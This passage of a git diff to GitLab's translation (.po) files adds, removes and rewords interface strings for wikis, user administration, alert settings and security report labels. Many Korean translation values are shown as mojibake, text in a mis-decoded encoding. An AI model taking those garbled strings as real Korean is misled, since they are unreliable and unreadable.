+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ko/gitlab.po b/locale/ko/gitlab.po
index b1cacbd50b6..40e0a4e25d9 100644
--- a/locale/ko/gitlab.po
+++ b/locale/ko/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ko\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:48\n"
+"PO-Revision-Date: 2020-12-03 08:17\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] "%dì¼"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%dê°œì˜ ì˜¤ë¥˜"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d 내보내기"
@@ -296,24 +300,15 @@ msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
msgid "%{authorsName}'s thread"
msgstr "%{authorsName} ì˜ ìŠ¤ë ˆë“œ"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -385,6 +380,9 @@ msgstr "%{count} ê±´ê³¼ ê´€ë ¨ëœ %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr "%{dashboard_path}(ì„)를 ì°¾ì„ ìˆ˜ 없습니다."
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr "새로운 위치ì—ì„œ %{host}ì— ë¡œê·¸ì¸ë˜ì—ˆìŠµë‹ˆë‹¤."
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr "%{icon}ë‹¹ì‹ ì€ %{usersTag}ì„(를) í† ë¡ ì— ì¶”ê°€í•˜ë ¤ê³  합니다. ì´ ì‚¬ëžŒë“¤ì€ ëª¨ë‘ ì•Œë¦¼ì„ ë°›ê²Œ ë©ë‹ˆë‹¤."
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType}ì´ ì‚­ì œë©ë‹ˆë‹¤! 확실합니까?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -505,13 +506,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -544,9 +545,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}, 그리고 %{awardsListLength}ê°œ ë” ìžˆìŒ"
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} 시작ë¨"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -645,31 +643,13 @@ msgstr[0] "%{releases} 릴리즈"
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} 브랜치"
@@ -817,6 +800,9 @@ msgstr "%{userName}ì˜ ì•„ë°”íƒ€"
msgid "%{user_name} profile page"
msgstr "%{user_name} 프로필 페ì´ì§€"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "%{username}ì˜ ì•„ë°”íƒ€"
@@ -835,12 +821,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr "활성화"
-
msgid "Activate Service Desk"
msgstr "서비스 ë°ìŠ¤í¬ 활성화"
@@ -1764,9 +1741,15 @@ msgstr ""
msgid "Admin notes"
msgstr "관리 노트"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "활성"
@@ -2037,16 +2029,19 @@ msgstr "차단ë¨"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "LDAP ì°¨ë‹¨ëœ ì‚¬ìš©ìžì˜ ì°¨ë‹¨ì„ í•´ì œí•  수 없습니다."
msgid "AdminUsers|Deactivate"
msgstr "비활성화"
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2073,6 +2068,9 @@ msgstr "외부"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2109,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2148,6 +2155,15 @@ msgstr "확ì¸ì„ 위해 %{projectName} 를 입력해주세요."
msgid "AdminUsers|To confirm, type %{username}"
msgstr "확ì¸ì„ 위해 %{username} ì„ ìž…ë ¥í•˜ì„¸ìš”"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2157,6 +2173,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "프로ì íŠ¸ ì—†ì´"
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2398,9 +2450,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,7 +2507,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2449,27 +2522,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
